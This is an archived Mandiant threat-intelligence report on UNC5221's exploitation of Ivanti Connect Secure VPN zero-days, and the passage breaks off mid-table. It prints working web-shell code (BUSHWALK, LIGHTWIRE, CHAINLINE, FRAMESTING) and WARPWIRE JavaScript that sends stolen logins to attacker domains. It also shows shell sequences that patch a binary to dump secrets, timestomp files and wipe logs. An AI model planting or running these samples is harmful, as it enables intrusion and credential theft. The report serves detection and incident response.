{
	"id": "b676fb4f-e04b-4a3e-b95a-b916373a597b",
	"created_at": "2026-04-06T00:13:24.088641Z",
	"updated_at": "2026-04-10T03:28:20.586792Z",
	"deleted_at": null,
	"sha1_hash": "2a49000641f70827e46b8bcd977980f96dfac082",
	"title": "Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 511059,
	"plain_text": "Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN\r\nZero-Day Exploitation\r\nBy Mandiant\r\nPublished: 2024-01-31 · Archived: 2026-04-05 16:40:49 UTC\r\nWritten by: Matt Lin, Robert Wallace, John Wolfram, Dimiter Andonov, Tyler Mclellan\r\nOn Jan. 12, 2024, Mandiant published a blog post detailing two high-impact zero-day vulnerabilities, CVE-2023-\r\n46805 and CVE-2024-21887, affecting Ivanti Connect Secure VPN (CS, formerly Pulse Secure) and Ivanti Policy\r\nSecure (PS) appliances. On Jan. 31, 2024, Ivanti disclosed two additional vulnerabilities impacting CS and PS\r\ndevices, CVE-2024-21888 and CVE-2024-21893.\r\nThe vulnerabilities allow for an unauthenticated threat actor to execute arbitrary commands on the appliance with\r\nelevated privileges. As previously reported, Mandiant has identified zero-day exploitation of these vulnerabilities\r\nin the wild beginning as early as Dec. 3, 2023 by a suspected China-nexus espionage threat actor currently being\r\ntracked as UNC5221. \r\nMandiant has identified broad exploitation activity following the disclosure of the two vulnerabilities, both by\r\nUNC5221 and other uncategorized threat groups. Mandiant assesses that a significant portion of the post-advisory\r\nactivity has been performed through automated methods.\r\nIn this follow-up blog post, we detail additional tactics, techniques, and procedures (TTPs) employed by\r\nUNC5221 and other threat groups during post-exploitation activity across our incident response engagements. We\r\nalso detail new malware families and variants to previously identified malware families being used by UNC5221.\r\nWe acknowledge the possibility that one or more related groups may be associated with the activity described in\r\nthis blog post. It is likely that additional groups beyond UNC5221 have adopted one or more of these tools.\r\nThese observations have been supported through Mandiant's incident response engagements, working with Ivanti,\r\nand our partners. Mandiant is also providing additional recommendations for network defenders, including\r\nindicators of compromise (IOCs), YARA rules, and a hardening guide.\r\nNote: Ivanti has released its first round of patches starting today, and it is scheduled to continue rolling out\r\nadditional patches over the coming weeks. Ivanti recommends customers awaiting patches to apply the mitigation,\r\nrun the external Integrity Checker Tool (ICT) to check for evidence of exploitation, and continue following\r\nthe KB article to receive product updates as they become available. \r\nPost Exploitation Activity Updates\r\nMitigation Bypass\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation\r\nPage 1 of 26\n\nA mitigation bypass technique was recently identified that led to the deployment of a custom webshell tracked\r\nas BUSHWALK. Successful exploitation would bypass the initial mitigation provided by Ivanti on Jan. 10, 2024.\r\nAt this time, Mandiant assesses the mitigation bypass activity is highly targeted, limited, and is distinct from the\r\npost-advisory mass exploitation activity. \r\nNote: The external ICT successfully detected the presence of the new web shell. We have observed the threat\r\nactor clean up traces of their activity and restore the system to a clean state after deploying BUSHWALK through\r\nthe mitigation bypass technique. The ICT is a snapshot of the current state of the appliance and cannot necessarily\r\ndetect threat actor activity if they have returned the appliance to a clean state. In addition, the patches address and\r\nfix the mitigation bypass.\r\nSimilar to other web shells observed in this campaign, BUSHWALK is written in Perl and is embedded into a\r\nlegitimate CS file,  querymanifest.cgi . BUSHWALK provides a threat actor the ability to execute arbitrary\r\ncommands or write files to a server.\r\nBUSHWALK executes its malicious Perl function,  validateVersion , if the web request  platform  parameter\r\nis  SafariiOS . It uses Base64 and RC4 to decode and decrypt the threat actor’s payload in the web\r\nrequest’s  command  parameter.\r\nsub validateVersion {\r\n my ($rawdata) = @_;\r\n if ($rawdata ne ''){\r\n $rawdata =~ s/ /+/g;\r\n my $param0 = MIME::Base64::decode($rawdata);\r\n my $key = substr($param0, 0, 32);\r\n $key = RC4(\"\u003cREDACTED\u003e\", $key);\r\n my $data = substr($param0,32);\r\n $data = RC4($key, $data);\r\n my @param1 = split(\"@\",$data);\r\n my @action = split(\"=\",$param1[0]);\r\n if ($action[1] eq 'change') {\r\n my $changeData = (split(\"=\",$param1[1]))[1];\r\n changeVersion($changeData, $key);\r\n }\r\n elsif ($action[1] eq 'update'){\r\n my $fname = (split(\"=\",$param1[1]))[1];\r\n my $versionData = (split(\"#\",$param1[2]))[1];\r\n updateVersion($fname, $versionData);\r\n }\r\n else {\r\n print CGI::header(-type=\u003e\"text/plain\", -status=\u003e '404 Not Found');\r\n print \"error\";\r\n }\r\n exit;\r\n }\r\n else{\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation\r\nPage 2 of 26\n\nreturn;\r\n }\r\n}\r\nFigure 1: Entry point to BUSHWALK execution\r\nThe decrypted payload determines if the web shell should execute a command or write a file to the server.\r\nIf the decrypted payload contains  change , BUSHWALK calls the  changeData  function to execute an arbitrary\r\ncommand on the compromised appliance. The malware first extracts the command from the buffer. The malware\r\nthen executes the command and encrypts the command results with RC4 using the provided key.\r\nsub changeVersion\r\n{\r\n my ($u_time,$key) = @_;\r\n my $o_fd = popen(*DUMP, $u_time, \"r\");\r\n my $ts;\r\n print CGI::header();\r\n while(\u003cDUMP\u003e) {\r\n $ts = $ts.$_;\r\n }\r\n $ts = RC4($key, $ts);\r\n my $tsc = MIME::Base64::encode_base64($ts);\r\n print $tsc;\r\n close(*DUMP);\r\n}\r\nFigure 2: changeVersion function to read an arbitrary file\r\nIf the decrypted payload contains  update , BUSHWALK calls the  updateVersion  function to write an arbitrary\r\nfile to the server. It extracts a file path and the data to write to the file from the buffer. This file data is then\r\nBase64-decoded and written to the file at the specified path.\r\nsub updateVersion\r\n{\r\n my ($fname, $strbuf) = @_;\r\n $strbuf = MIME::Base64::decode($strbuf);\r\n CORE::open(my $file, \"\u003e\u003e\",$fname) or return undef;\r\n syswrite($file, $strbuf);\r\n close($file);\r\n print CGI::header();\r\n print \"over\";\r\n}\r\nFigure 3: updateVersion function to write an arbitrary file\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation\r\nPage 3 of 26\n\nLIGHTWIRE Variant\r\nMandiant has identified an additional variant of the LIGHTWIRE web shell that inserts itself into a legitimate\r\ncomponent of the VPN gateway,  compcheckresult.cgi .\r\nThe new sample utilizes the same GET parameters as the original LIGHTWIRE sample described in our first blog\r\npost. Mandiant recommends hunting for GET requests containing these parameters within available web logs,\r\nunallocated space, and memory images.\r\n/dana-na/auth/url_default/compcheckresult.cgi?comp=comp\u0026compid=\u003cobfuscat\r\ned command\u003e\r\nFigure 4: LIGHTWIRE GET parameters\r\nThe new variant of LIGHTWIRE features a different obfuscation routine. It first assigns a string scalar variable\r\nto  $useCompOnly . Next, it will use the Perl  tr  operator to transform the string using a character-by-character\r\ntranslation. The key is then Base64-decoded and used to RC4 decrypt the incoming request. Finally, the issued\r\ncommand is executed by calling  eval .\r\nmy $useCompOnly = \"\u003cREDACTED\u003e\";\r\n$useCompOnly =~ tr/\u003cREDACTED\u003e/\u003cREDACTED\u003e/;\r\neval{my $c=Crypt::RC4-\u003enew(decode_base64($useCompOnly));my\r\n$d=$c-\u003eRC4(decode_base64(CGI::param('compid')));eval $d;}or\r\ndo{$Main::remedy1 = \"Compatibility check: $@\";}\r\nFigure 5: Newly identified LIGHTWIRE variant\r\nThe original LIGHTWIRE sample detailed in our first blog post contains a simpler obfuscation routine. It will\r\ninitialize an RC4 object and then immediately use the RC4 object to decrypt the issued command.\r\neval{my $c=Crypt::RC4-\u003enew(\"\u003cREDACTED\u003e\");my\r\n$d=$c-\u003eRC4(decode_base64(CGI::param('compid')));eval $d;\r\nFigure 6: Original LIGHTWIRE sample\r\nCHAINLINE Web Shell\r\nAfter the initial exploitation of an appliance, Mandiant identified UNC5221 leveraging a custom web shell that\r\nMandiant is tracking as CHAINLINE. CHAINLINE is a Python web shell backdoor that is embedded in a Ivanti\r\nConnect Secure Python package that enables arbitrary command execution.\r\nCHAINLINE was identified in the CAV Python package in the following\r\npath:  /home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/health.py . This is\r\nthe same Python package modified to support the WIREFIRE web shell.\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation\r\nPage 4 of 26\n\n#\r\n# Copyright (c) 2018 by Pulse Secure, LLC. All rights reserved\r\n#\r\nimport base64\r\nfrom flask_restful import Resource, reqparse\r\nfrom flask import request\r\nimport subprocess\r\nRC4_KEY = \"\u003cREDACTED\u003e\"\r\ndef crypt(command: str):\r\n tmp = list(command)\r\n for i in range(len(tmp)):\r\n tmp[i] = chr(ord(tmp[i]) ^ ord(RC4_KEY[i % len(RC4_KEY)]))\r\n tmp = \"\".join(tmp)\r\n return tmp\r\nclass Health(Resource):\r\n def get(self):\r\n return {\"message\": \"method not allowed\"}, 201\r\n def post(self):\r\n parser = reqparse.RequestParser()\r\n parser.add_argument('stats', type=str)\r\n parser.add_argument('rates', type=str)\r\n args = parser.parse_args()\r\n command: str = args.stats\r\n command =\r\ncrypt(base64.b64decode(command.encode(encoding=\"UTF-8\")).decode\r\n(encoding=\"UTF-8\"))\r\n result = subprocess.getoutput(command)\r\n result =\r\nbase64.b64encode(crypt(result).encode(encoding=\"UTF-8\")).decode\r\n(encoding=\"UTF-8\")\r\n return {\"message\": 'ok', \"stats\": result}, 200\r\nFigure 7: CHAINLINE web shell in health.py\r\nUnlike WIREFIRE, which modifies an existing file, CHAINLINE creates a new file called  health.py , which is\r\nnot a legitimate filename in the CAV Python package. The existence of this filename or an associated compiled\r\nPython cache file may indicate the presence of CHAINLINE.\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation\r\nPage 5 of 26\n\nUNC5221 registered a new API resource path to support the access of CHAINLINE at the REST\r\nendpoint  /api/v1/cav/client/health . This was accomplished by importing the maliciously\r\ncreated  Health  API resource and then calling the  add_resource()  class method on the FLASK-RESTful  Api  object within  /home/venv3/lib/python3.6/site-packages/cav-0.1-\r\npy3.6.egg/cav/api/__init__.py .\r\nFigure 8 shows an excerpt of the relevant file modified to support CHAINLINE.\r\nFigure 8: Python CAV package modified to support CHAINLINE\r\nFRAMESTING Web Shell\r\nMandiant has identified an additional web shell that we are tracking as FRAMESTING. FRAMESTING is a\r\nPython web shell embedded in a Ivanti Connect Secure Python package that enables arbitrary command\r\nexecution.\r\ndef post(self):\r\n import zlib\r\n import simplejson as json\r\n try:\r\n dskey='\u003cREDACTED\u003e'\r\n dsid=request.cookies.get('DSID')\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation\r\nPage 6 of 26\n\ndata=None\r\n if dsid and len(dsid)\u003e=64:\r\n data=dsid+'=='\r\n else:\r\n data = zlib.decompress(request.data)\r\n data=json.loads(data).get('data')\r\n if data:\r\n import base64\r\n from Cryptodome.Cipher import AES\r\n if dskey not in globals():globals()[dskey]={}\r\n globals()[dskey].pop('result',None)\r\n aes=AES.new(dskey.encode(), AES.MODE_ECB)\r\n result={'message':'','action':0}\r\n exec(zlib.decompress(aes.decrypt(base64.b64decode(data))),\r\n{'request':request,'cache':globals()[dskey]},locals())\r\n result=globals()[dskey].get('result',result)\r\n return result, 200\r\n except:\r\n pass\r\nFigure 9: category.py modified to handle POST requests for FRAMESTING\r\nFRAMESTING was identified in the CAV Python package in the following\r\npath:  /home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/category.py . Note\r\nthat this is the same Python package modified to support the WIREFIRE and CHAINLINE web shells.\r\nWhen installed, the threat actor can access FRAMESTING web shell at the REST\r\nendpoint  /api/v1/cav/client/categories  with a POST request. Note that the legitimate  categories  endpoint\r\nonly accepts GET requests.\r\nThe web shell employs two methods of accepting commands from an attacker. It first attempts to retrieve the\r\ncommand stored in the value of a cookie named  DSID  from the current HTTP request. If the cookie is not present\r\nor is not of the expected length, it will attempt to decompress  zlib  data within the request's POST data. Lastly,\r\nFRAMESTING will then pass the decrypted POST data into a Python  exec()  statement to dynamically execute\r\nadditional Python code.\r\nNote that  DSID  is also the name of a cookie used by Ivanti Connect Secure appliances for maintaining user VPN\r\nsessions. FRAMESTING likely uses the same cookie name to blend in with network traffic.\r\nUpdates to ZIPLINE Analysis\r\nSince our previous blog post, Mandiant has completed additional analysis into the ZIPLINE passive backdoor.\r\nZIPLINE makes use of extensive functionality to ensure the authentication of its custom protocol used to establish\r\ncommand and control (C2). This section covers the cryptographic, authentication, and data protocol leveraged by\r\nZIPLINE.\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation\r\nPage 7 of 26\n\nCryptography\r\nZIPLINE uses AES-128-CBC to encrypt data in both directions. The corresponding encryption and decryption\r\nkeys are derived from key material sent by the server and combined with hard-coded data embedded in the\r\nmalware. Once combined, the SHA1 hashing algorithm is used to produce a 20-byte long cryptographically strong\r\narray and the first 16 bytes of it are used as the AES-128 keys.\r\nThe key material, received by the attacker is defined, as follows:\r\ntypedef struct tag_key_material_t {\r\n uint8_t decryption_keydata[20];\r\n uint8_t encryption_keydata[20];\r\n} key_material_t;\r\nFigure 10: Key material structure\r\nThe relevant 20-byte long keydata material is then combined with the hard-coded string, and the SHA1 hash is\r\ncalculated on the buffer. \r\nThe truncated first 16 bytes of the SHA1 hash are then used for both the AES-128 and the HMAC keys (HMAC is\r\ndescribed in more details in the next section).\r\nThe starting value for the AES initialization vectors (IVs) for the decryption and encryption operations are the first\r\n16 bytes of the  decryption_keydata  and  encryption_keydata  arrays. \r\nOnce produced, both the decryption and the encryption round keys (11 round keys each, including the original\r\nAES-128 keys at indices zero) and the current IV for the AES-128 algorithm stay in memory for the lifecycle of\r\nthe process. This makes it possible to harvest the keys and the IVs possible from process memory. Because the\r\nprotocol used by ZIPLINE is stateful, the messages cannot be decrypted and authenticated out of order.\r\nAdditionally, the process that contains the passive backdoor is designed to have a relatively short lifespan,\r\nterminating after each of the processed commands and likely respawned by the malware ecosystem running on the\r\ncompromised host.\r\nAuthentication\r\nZIPLINE uses HMAC (Hash-based Message Authentication Code) along with the SHA1 hashing algorithm to\r\nenforce data integrity. The HMAC key is the same as the corresponding AES-128 key (note, there are two: one for\r\ndecryption and one for encryption). The HMAC design in ZIPLINE uses a transfer state, which denotes the index\r\nof the current message starting from 0. Every received or sent packet increments the index and the value is\r\nappended to the message as part of the authentication mechanism. That way messages out of order would not be\r\nable to authenticate, which would lead to termination of the communication with the C2 server.\r\nFigure 11 shows an example of a message, which is color-coded to show the parts that participate in the HMAC\r\ncalculations.\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation\r\nPage 8 of 26\n\nFigure 11: Example message\r\nIn Figure 11, a 32-byte long message is received from the C2 server. ZIPLINE then decrypts the first 16 bytes\r\n(blue), appends the still encrypted second part (red) of the message, and adds four bytes at the end (black),\r\nfollowed by the message index, which in this case is set to one. The HMAC algorithm then calculates the SHA1\r\nhash of the buffer in Figure 11, and then compares it with the SHA1 hash attached at the end of every message\r\nsent and received.\r\nData Protocol\r\nZIPLINE communicates with its C2 server using a custom stateful binary protocol. The communication begins\r\nwith the C2 server connecting to the compromised host and sending a message, structured as shown in Figure 12.\r\ntypedef struct tag_header_t {\r\n char signature[21];\r\n struct tag_key_material key_material;\r\n} header_t;\r\nFigure 12: ZIPLINE header structure\r\nThe signature is expected to be the string  SSH-2.0-OpenSSH_0.3xx , followed by a structure that contains data for\r\nAES-128 and HMAC key generation (see the Cryptography). Next, the C2 sends an encrypted message that, once\r\ndecrypted, follows the structure described in Figure 13.\r\ntypedef struct tag_message_t {\r\n uint16_t len; /* big endian number */\r\n uint8_t data[len]; /* variable size data */\r\n uint8_t hmac_sig[20];\r\n} message_t;\r\nFigure 13: ZIPLINE message structure\r\nAlthough the message structure is designed to be flexible, this instance of the malware expects the first message to\r\nspecify length 0x10. Additionally, the data after the decryption must be exactly as shown in Figure 14 or the\r\nmalware terminates the connection.\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation\r\nPage 9 of 26\n\nFigure 14: Decrypted message structure\r\nIn the decrypted message in Figure 14, the size (note, it’s a big endian number) is denoted by the first two bytes\r\n(blue), followed by an array of 16 bytes (red) that must contain exactly the values shown. In case of a mismatch,\r\nZIPLINE will terminate the connection, which would also lead to process termination. The  xx  bytes shown in\r\nblack are non-consequential padding values and the  yy  values (amber) specify the HMAC signature for the\r\nmessage.\r\nIf the first message passes the integrity checks, the malware first encrypts the buffer in Figure 14, and then sends it\r\nback to the C2 server. After that, it fetches another message, which is expected to have  message_t.len  equal to\r\none. That message contains a single meaningful byte (apart from the padding and the HMAC signature) which is\r\nthe index of the command to be executed.\r\nCommand\r\nID\r\nOperation Description\r\n1 File Upload\r\nThe command contains the file path and which content to be sent to the\r\nconnected host.\r\n2 File Download\r\nThe command contains the file path and its content to be saved on the\r\ncompromised system.\r\n3 Reverse Shell\r\nA reverse shell is created using /bin/sh and the provided command is\r\nexecuted\r\n4 Proxy Server\r\nCreates a proxy server with an IP address provided as part of the\r\ncommand.\r\n5\r\nTunneling\r\nServer\r\nImplements a tunneling server, capable of simultaneously dispatching\r\ntraffic between multiple endpoints.\r\nTable 1: ZIPLINE command ID\r\nThe message must be formatted in the same way as the previous one with only the first 3 bytes being meaningful\r\n(the length and the command).\r\nAdditional Findings\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation\r\nPage 10 of 26\n\nZIPLINE is designed to fork itself twice and continue on its child processes. It also uses the  setsid  command to\r\ncreate a new session for its process, which effectively detaches it from any controlling terminal. Additionally, the\r\nmalware closes the open handles except for the one associated with the current connection. The  web  process\r\nmust be able to handle the  SIGALRM  signal because the malware executes the  alarm  command on a couple of\r\noccasions (delayed by three seconds). Additionally, the  web  process terminates itself after executing the specified\r\ncommand, which implies that it would be respawned by the ZIPLINE malware ecosystem on the compromised\r\nhost in order to keep listening for incoming traffic.\r\nWARPWIRE Variants\r\nMandiant has identified multiple new variants of WARPWIRE across our response engagements and in the wild.\r\nAcross these variants, the primary purpose of them has remained to target plaintext passwords and usernames for\r\nexfiltration to a hard-coded C2 server.\r\nThe main change across these variants is how credentials are submitted to the hard-coded C2. In the majority of\r\nidentified variants, the GET request has been replaced with a POST that submits the credentials in either the POST\r\nparams or body, however, Mandiant has also identified variants that still utilize a GET request but now include\r\nthe  window.location.href  as a submitted value. \r\nBased on the number of variants identified as well as suspected mass exploitation of the related vulnerabilities,\r\nMandiant does not currently attribute all WARPWIRE variants to UNC5221. Figure 15-18 shows excerpts of\r\nselect WARPWIRE samples.\r\nvar ivanti = document.frmLogin.username.value;\r\nvar login = document.frmLogin.password.value;\r\nvar action = window.location.href;\r\nif (ivanti!==\"\" \u0026\u0026 login!==\"\") {\r\n var ivanti = btoa(ivanti);\r\n var login = btoa(login);\r\n var action = btoa(action);\r\n const url = \"https://duorhytm[.]fun/\";\r\n var xhr = new XMLHttpRequest();\r\n xhr.open(\"POST\", url, false);\r\n xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\r\n var params =\"ivanti=\"+ivanti +\"\u0026login=\"+ login+\"\u0026action=\"+action;\r\n xhr.send(params);\r\nFigure 15: WARPWIRE variant\r\nvar a = document.frmLogin.username.value;\r\nvar b = document.frmLogin.password.value;\r\nvar c = window.location.href;\r\nif (a !== \"\" \u0026\u0026 b !== \"\") {\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation\r\nPage 11 of 26\n\nvar aEncoded = btoa(a);\r\n var bEncoded = btoa(b);\r\n var cEncoded = btoa(c);\r\n const url = \"https://clicko[.]click/?a=\" + aEncoded + \"\u0026b=\" + bEncoded\r\n+ \"\u0026c=\" + cEncoded;\r\n var xhr = new XMLHttpRequest();\r\n xhr.open(\"GET\", url, false);\r\n xhr.send(null);\r\nFigure 16: WARPWIRE variant\r\n var uParam = document.frmLogin.username.value;\r\n var pParam = document.frmLogin.password.value;\r\n if (uParam \u0026\u0026 pParam) {\r\n var xhr = new XMLHttpRequest();\r\n const url = `https://www.miltonhouse[.]nl/pub/opt/processor.php`\r\n const body = `h=${btoa(document.location.hostname)}\u0026u\r\n=${btoa(uParam)}\u0026p=${btoa(pParam)}`;\r\n xhr.open('POST', url, true);\r\n xhr.setRequestHeader\r\n('Content-type', 'application/x-www-form-urlencoded');\r\n xhr.send(body);\r\nFigure 17: WARPWIRE variant\r\n var ivanti = document.frmLogin.username.value;\r\n var login = document.frmLogin.password.value;\r\n var action = window.location.href;\r\n if (ivanti!==\"\" \u0026\u0026 login!==\"\") {\r\n var ivanti = btoa(ivanti);\r\n var login = btoa(login);\r\n var action = btoa(action);\r\n const url = \"https://cpanel.netbar[.]org/assets/js/xml.php\";\r\n var xhr = new XMLHttpRequest();\r\n xhr.open(\"POST\", url, false);\r\n xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\r\n var params =\"ivanti=\"+ivanti +\"\u0026login=\"+ login+\"\u0026action=\"+action;\r\n xhr.send(params);\r\n }\r\nFigure 18: WARPWIRE variant\r\nUsage of Open-Source Tooling\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation\r\nPage 12 of 26\n\nAcross our incident response engagements, Mandiant identified multiple open-source tools utilized to support\r\npost-exploitation activity on Ivanti CS appliances. These tools were associated with internal network\r\nreconnaissance, lateral movement, and data exfiltration within a limited number of victim environments.\r\nTool Name  Description\r\nIMPACKET\r\nIMPACKET is a Python library that allows for interaction with various network\r\nprotocols. It is particularly effective in environments that rely on Active Directory and\r\nrelated Microsoft Windows network services.\r\nCRACKMAPEXEC\r\nCRACKMAPEXEC is a post-exploitation tool against Microsoft Windows\r\nenvironments. It is recognized for its lateral movement capabilities.\r\nIODINE\r\nIODINE is a network traffic tunneler that allows for tunneling of IPv4 traffic over\r\nDNS.\r\nENUM4LINUX\r\nENUM4LINUX is a Linux Perl script for enumerating data from Windows and Samba\r\nhosts.\r\nTable 2: Open source tooling identified\r\nAdditional TTPs\r\nConfiguration and Cache Theft\r\nMandiant has identified evidence consistent with dumping the running configuration and cache after the initial\r\nexploitation of an CS appliance using the built-in  dsls  command found on CS appliances. The resulting output\r\nis saved to a  tar  archive masquerading as a randomly generated 10-character CSS file within the\r\ndirectory:  /home/webserver/htdocs/dana-na/css/ . \r\nWe have identified the following sequence of commands (Figure 19) executed on a compromised appliance to\r\ndump the cache and configuration into the CSS directory.\r\nexport LD_LIBRARY_PATH=/lib:/home/lib;\r\nexport PATH=/bin:/usr/bin:/sbin:/usr/sbin:/home/bin;\r\necho ZnJvbSBiYXNlNjQgaW1wb3J0IGI2NGVuY29kZSBhcyBlCmY\r\n9b3BlbignL2hvbWUvYmluL2RzbHMnLCdyYicpCmM9Zi5yZWFkKC\r\nkKZi5jbG9zZSgpCnA9Yy5maW5kKGJ5dGVzLmZyb21oZXgoJzhkY\r\nmQ2MGZmZmZmZicpKQppZiBwPjA6CiBkPWJ5dGVhcnJheShjKQ\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation\r\nPage 13 of 26\n\nogaWYgZFtwLTJdPT0weDc0OgogIGRbcC0yXT0weGViCiAgZj1vcG\r\nVuKCcvdG1wL3Rvb2xzJywnd2InKQogIGYud3JpdGUoZCkKICBmL\r\nmNsb3NlKCkKICBzPSdmJwogZWxzZToKICBzPSdpJwplbHNlOgo\r\ngcz0nbicKcHJpbnQocyxlbmQ9Jycp\r\n|base64 -d|/home/venv3/bin/python;\r\nchmod +x /tmp/tools;\r\n/tmp/tools -S -R -B /vc \u003e/tmp/test1.txt;\r\nrm -rf /tmp/tools;\r\ntouch /tmp/testt -r /home/webserver/htdocs/dana-na/css;\r\nmount -o rw,remount /;\r\ntar czf /home/webserver/htdocs/dana-na/css/\u003cREDACTED\u003e.css /tmp/test1.txt;\r\nrm -rf /tmp/test1.txt;\r\nFigure 19: Command sequence to dump the cache and configuration\r\nThe command sequence executes a Base64-encoded Python script that writes a patched version of\r\nthe  dsls  binary ( /home/bin/dsls ) into  /tmp/tools . At a high level, the patched binary allows\r\nthe  dsls  command to display sensitive information that is typically redacted. Figure 20 shows the Base64-\r\ndecoded Python script.\r\nfrom base64 import b64encode as e\r\nf=open('/home/bin/dsls','rb')\r\nc=f.read()\r\nf.close()\r\np=c.find(bytes.fromhex('8dbd60ffffff'))\r\nif p\u003e0:\r\nd=bytearray(c)\r\nif d[p-2]==0x74:\r\n d[p-2]=0xeb\r\nf=open('/tmp/tools','wb')\r\nf.write(d)\r\nf.close()\r\ns='f'\r\n else:\r\n s='i'\r\nelse:\r\n s='n'\r\nprint(s,end='')\r\nFigure 20: Base64-decoded Python script\r\nThe script looks for the byte sequence  0x8dbd60ffffff  within the file  /home/bin/dsls . This is a legitimate\r\nexecutable on Ivanti Connect Secure appliances used for displaying the running configuration and cache\r\ninformation. If the byte sequence is found ( p\u003e0 ), it creates a byte array ( d ) from the file contents ( c ) for\r\nfurther modification.\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation\r\nPage 14 of 26\n\nThe logic then checks if the byte 2 positions before the found byte sequence ( p-2 ) is equal to  0x74 . If it is\r\nequal to  0x74 , it replaces that byte with  0xeb . Lastly, the script rewrites the modified byte array\r\ninto  /tmp/tools . \r\nThe modification of the binary turns a conditional  JMP  instruction ( 0x74 ) into an unconditional  JMP  ( 0xeb ).\r\nThe patch forces the execution flow to bypass a check in the legitimate  dsls  binary responsible for redacting\r\nsensitive data. This allows for the patched binary to display the value of fields that is typically redacted in the\r\noutput with  \u003csecure\u003e .\r\nThe command sequence continues to do the following:\r\n1. Execute  /tmp/tools  (patched version of  /home/bin/dsls ) to dump the configuration and cache\r\nto  /tmp/test1.txt  \r\n2. Remove  /tmp/tools  \r\n3. Create an empty file  /tmp/testt  with the modified and access timestamps\r\nof  /home/webserver/htdocs/dana-na/css/ . This will be used later to timestomp the CSS directory with\r\nits original timestamps. \r\n4. Remount the file system as read-write\r\n5. Archive the dump into a CSS file within  /home/webserver/htdocs/dana-na/css/\r\n6. Delete  /tmp/test1.txt\r\nMandiant identified efforts to remove evidence of compromise after the configuration and cache dump were\r\ndownloaded from the server by the threat actor. The command sequence in Figure 21 was issued by exploiting\r\nCVE-2023-46805 and CVE-2024-21887.\r\nrm -rf /home/webserver/htdocs/dana-na/css/\u003cREDACTED\u003e.css;\r\ntouch -r /tmp/testt /home/webserver/htdocs/dana-na/css;\r\nrm -rf /tmp/testt;\r\necho \u003e /data/var/dlogs/config_rest_server.log;\r\nmount -o ro,remount/\r\nFigure 21: Command sequence to cover up evidence of compromise\r\nThe command sequence does the following:\r\n1. Delete the staged configuration and cache dump\r\n2. Timestomp the CSS directory with the modified and access timestamps of  /tmp/testt\r\n3. Clear the  config_rest_server.log  file that would record exploitation attempts of CVE-2023-46805 and\r\nCVE-2024-21887\r\n4. Remount the file system in read-only mode, reverting it back to its original state\r\nAdditionally, we have identified the configuration and dump being saved to compressed files located in the\r\nfollowing paths:\r\n/runtime/webserver/htdocs/dana-na/help/logo.gif\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation\r\nPage 15 of 26\n\n/runtime/webserver/htdocs/dana-na/help/login.gif\r\nIvanti has published additional guidance on remediating the risk resulting from the cache and configuration dump.\r\nThis includes resetting local account credentials, resetting API keys, and the revocation of certificates.\r\nCAV Web Server Log Exfiltration\r\nMandiant has identified evidence of exfiltration of the CAV web server logs staged\r\nin  /runtime/webserver/htdocs/dana-na/help/logo.gif . The path does not legitimately contain  logo.gif .\r\n/usr/bin/printf 'GIF'\u003e/home/webserver/htdocs/dana-na/help/logo.gif;\r\n/usr/bin/printf 'GIF'\u003e/home/webserver/htdocs/dana-na/help/logo.gif;\r\ncat /data/var/dlogs/cav_webserv.log|/usr/bin/base64\u003e\u003e/home/\r\nwebserver/htdocs/dana-na/help/logo.gif\r\nFigure 22: Command sequence leading to exfiltration of the CAV web server logs\r\nThe command redirects the GIF header into  logo.gif  and then appends the Base64-encoded contents\r\nof  /data/var/dlogs/cav_webserv.log  into the same file.\r\ncav_webserv.log  contains web requests and logs maintained by uWSGI for the CAV REST API. Mandiant has\r\nidentified multiple modifications to the associated CAV Python package to include web shells such as WIREFIRE,\r\nCHAINLINE, and FRAMESTING. Any requests to those web shells would be logged in this file.\r\nICT Manipulation\r\nThe system's internal integrity checker tool can help detect modifications or additions made to the file system.\r\nMandiant has identified instances where the external ICT detected a modification to a Python package associated\r\nwith the internal ICT:  /home/venv3/lib/python3.6/site-packages/scanner-0.1-py3.6.egg . \r\nWe identified a single line commented out in  scanmgr.py  that disables the execution of the scanner.\r\nhttps://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation\r\nPage 16 of 26\n\nFigure 23: Scanner execution commented out in scanmgr.py\r\nAdditionally, Volexity published a blog post on Jan. 18, 2024 detailing another method leveraged to tamper with\r\nthe built-in integrity checker tool on a compromised Ivanti Connect Secure appliance.\r\nMandiant has observed threat actors tampering with the internal ICT by modifying the manifest file located\r\nat  /home/etc/manifest . This file maintains a list of the expected files on the system and its associated SHA256\r\nhash. The internal ICT verifies the manifest file’s signature using a public key.\r\nIn some instances, the threat actor failed to create a new digital signature of the manifest file. This causes the\r\ninternal ICT to fail and generates event ID  SYS32042  in the system event log, indicating that the manifest file is\r\nbad.\r\nThe full list of event IDs associated with the integrity checker tool can be found in Table 3.\r\nEvent ID Summarized Description\r\nSYS32039 New files were found with the Internal Integrity Check Tool.\r\nSYS32040 A modified file was found with the Internal Integrity Check Tool.\r\nSYS32041 The Integrity Check Tool manifest file is 